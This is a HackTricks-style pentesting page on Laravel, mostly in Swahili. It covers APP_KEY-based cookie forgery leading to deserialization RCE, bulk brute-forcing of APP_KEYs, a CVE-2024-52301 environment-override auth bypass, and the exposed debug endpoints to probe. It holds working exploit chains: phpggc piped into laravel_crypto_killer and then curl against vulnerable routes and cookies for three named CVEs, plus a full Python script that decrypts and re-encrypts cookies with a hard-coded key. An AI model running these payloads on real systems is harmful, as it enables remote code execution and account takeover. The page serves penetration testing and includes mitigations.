hacktricks/src/network-services-pentesting/pentesting-web/laravel.md

# Laravel

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### Laravel SQLInjection

Soma taarifa kuhusu hili hapa: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)

---

## APP_KEY & Undani za Encryption (Laravel \u003e=5.6)

Laravel inatumia AES-256-CBC (au GCM) pamoja na HMAC kwa integriti chini ya kifuniko (`Illuminate\\Encryption\\Encrypter`).
Ciphertext mbichi ambayo hatimaye **hutumwa kwa client** ni **Base64 ya JSON object** kama:
```json
{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` itafanya `serialize()` ya plaintext kwa default, wakati `decrypt($payload, $unserialize=true)` **ita `unserialize()` moja kwa moja** thamani iliyofichuliwa. Kwa hiyo **attacker yeyote anayejua siri ya 32-byte `APP_KEY` anaweza kutengeneza encrypted PHP serialized object na kupata RCE kupitia magic methods (`__wakeup`, `__destruct`, …)**.

Minimal PoC (framework ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste
```
Weka string iliyotengenezwa kwenye sink yoyote yenye udhaifu ya `decrypt()` (route param, cookie, session, …).

---

## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) huotomatisha mchakato mzima na inaongeza hali inayofaa ya **bruteforce**:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
Scripti inasaidia kwa uwazi payloads za CBC na GCM na inazalisha tena uwanja wa HMAC/tag.

---

## Real-world vulnerable patterns

| Mradi | Sink dhaifu | Gadget chain |
|-------|-------------|--------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
| Crater  (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |

Mchakato wa unyonyaji ni daima:
1. Pata au jaribu kwa brute-force `APP_KEY` ya byte 32.
2. Jenga gadget chain na **PHPGGC** (kwa mfano `Laravel/RCE13`, `Laravel/RCE9` au `Laravel/RCE15`).
3. Encrypt serialized gadget kwa **laravel_crypto_killer.py** na `APP_KEY` iliyopatikana.
4. Wasilisha ciphertext kwa sink dhaifu ya `decrypt()` (route parameter, cookie, session …) ili kusababisha **RCE**.

Hapo chini kuna mistari fupi (one-liners) inayoonyesha njia kamili ya shambulio kwa kila CVE ya ulimwengu halisi iliyo tajwa hapo juu:
```bash
# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
```
## Ugundaji mkubwa wa APP_KEY via cookie brute-force

Kwa sababu kila majibu mapya ya Laravel huweka angalau cookie iliyofichwa (`XSRF-TOKEN` na kawaida `laravel_session`), **public internet scanners (Shodan, Censys, …) leak mamilioni ya ciphertexts** ambazo zinaweza kushambuliwa offline.

Matokeo muhimu ya utafiti uliochapishwa na Synacktiv (2024-2025):
* Dataset Julai 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
* Dataset Mei 2025 » 625 k tokens, **3.56 % keys cracked**
* >1 000 servers bado vulnerable to legacy CVE-2018-15133 kwa sababu tokens directly contain serialized data.
* Huge key reuse – the Top-10 APP_KEYs ni hard-coded defaults zilizoshipwa na commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).

Chombo binafsi cha Go **nounours** kinaboresha AES-CBC/GCM bruteforce throughput hadi ~1.5 billion tries/s, kukata muda wa full dataset cracking chini ya <2 minutes.


## CVE-2024-52301 – HTTP argv/env override → auth bypass

Wakati PHP’s `register_argc_argv=On` (kawaida kwenye distros nyingi), PHP inaonyesha array `argv` kwa HTTP requests inayotokana na query string. Matoleo ya hivi karibuni ya Laravel yalichambua hizi “CLI-like” args na kuzingatia `--env=<value>` wakati wa runtime. Hii inaruhusu kubadilisha environment ya framework kwa HTTP request ya sasa kwa kuiongeza tu kwenye URL yoyote:

- Quick check:
- Tembelea `https://target/?--env=local` au kamba yoyote na tazama mabadiliko yanayotegemea environment (debug banners, footers, verbose errors). Ikiwa kamba inaonekana reflected, override inafanya kazi.

- Impact example (business logic trusting a special env):
- Ikiwa app ina matawi kama `if (app()->environment('preprod')) { /* bypass auth */ }`, unaweza kuthibitisha bila creds sahihi kwa kutuma login POST kwa:
- `POST /login?--env=preprod`

- Notes:
- Inaenda kwa kila-request, hakuna persistence.
- Inahitaji `register_argc_argv=On` na vulnerable Laravel version inayosoma argv kwa HTTP.
- Primitive muhimu kuonyesha errors zaidi katika “debug” envs au kuamsha code paths zilizo gatwa na environment.

- Mitigations:
- Zima `register_argc_argv` kwa PHP-FPM/Apache.
- Update Laravel ili isibris argv kwenye HTTP requests na ondoa assumptions za trust zinazohusiana na `app()->environment()` katika production routes.

Minimal exploitation flow (Burp):
```http
POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf
```
---

## Triki za Laravel

### Hali ya debugging

Ikiwa Laravel iko katika **debugging mode** utaweza kupata **code** na **sensitive data**.\
Kwa mfano `http://127.0.0.1:8000/profiles`:

![](<../../images/image (1046).png>)

Hali hii kawaida inahitajika kwa ku-exploit CVE nyingine za Laravel RCE.

### Fingerprinting & exposed dev endpoints

Ukaguzi mfupi wa haraka kutambua stack ya Laravel na zana hatari za dev zilizo wazi katika production:

- `/_ignition/health-check` → Ignition present (debug tool used by CVE-2021-3129). Ikiwa inafikika bila uthibitishaji, app inaweza kuwa katika debug au imepangwa vibaya.
- `/_debugbar` → Laravel Debugbar assets; mara nyingi inaashiria debug mode.
- `/telescope` → Laravel Telescope (dev monitor). Ikiwa ni public, tarajia ufichaji mkubwa wa taarifa na vitendo vinavyowezekana.
- `/horizon` → Queue dashboard; version disclosure na wakati mwingine vitendo vilivyolindwa na CSRF.
- `X-Powered-By`, cookies `XSRF-TOKEN` and `laravel_session`, and Blade error pages pia husaidia kutambulisha.
```bash
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
```
### .env

Laravel huhifadhi APP inayotumiwa ku-encrypt cookies na taarifa nyingine za uthibitisho ndani ya faili inayoitwa `.env` ambayo inaweza kufikiwa kwa kutumia path traversal chini ya: `/../.env`

Laravel pia itaonyesha taarifa hii ndani ya ukurasa wa debug (unaoonekana wakati Laravel inapata kosa na debug imewezeshwa).

Kwa kutumia APP_KEY ya siri ya Laravel unaweza decrypt na re-encrypt cookies:

### Decrypt Cookie
```python
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)


def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''


def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')
```
### Laravel Deserialization RCE

Toleo zilizo hatarini: 5.5.40 na 5.6.x hadi 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))

Hapa unaweza kupata taarifa kuhusu deserialization vulnerability: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)

Unaweza kujaribu na kui-exploit ukitumia [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Au unaweza pia kui-exploit kwa kutumia metasploit: `use unix/http/laravel_token_unserialize_exec`

### CVE-2021-3129

Deserialization nyingine: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)



## Marejeo
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)


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